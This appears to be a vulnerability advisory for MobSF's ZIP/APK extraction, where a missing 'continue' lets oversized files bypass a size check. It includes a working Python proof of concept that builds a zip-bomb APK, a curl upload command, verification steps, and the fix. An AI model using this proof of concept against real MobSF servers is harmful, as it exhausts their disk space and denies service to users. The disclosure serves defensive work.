MobSF Vulnerable to Zip Bomb Denial of Service via Per-File Size Limit Bypass in ZIP/APK Extraction

# Line 156: Size check
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    # ← BUG: No 'continue' here! Execution falls through.

# Line 161: Total size check (separate)
if total_size > settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE:
    raise Exception(msg)

# Line 171-178: Permission fixing (only dirs get 'continue')
if fileinfo.is_dir():
    continue
else:
    fileinfo.external_attr = ...

# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES
try:
    zipptr.extract(file_path, ext_path)   # ← Runs regardless of size check

#!/usr/bin/env python3
import zipfile, tempfile, os

output = tempfile.mktemp(suffix='.apk')
with zipfile.ZipFile(output, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>')
    # 450 MB file (exceeds 400 MB limit) — compresses to ~KB
    info = zipfile.ZipInfo('assets/huge.bin')
    info.compress_type = zipfile.ZIP_DEFLATED
    with zf.open(info, 'w') as f:
        for _ in range(450):
            f.write(b'\x00' * (1024 * 1024))  # 1 MB at a time

print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")

curl -X POST http://127.0.0.1:8000/api/v1/upload \
  -H "X-Mobsf-Api-Key: YOUR_KEY" \
  -F "file=@poc.apk"

# Log says "Skipping" but file exists on disk:
grep "File too large" ~/.MobSF/debug.log
ls -la ~/.MobSF/uploads/HASH/assets/huge.bin  # 450 MB file is there

if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    continue  # ← ADD THIS LINE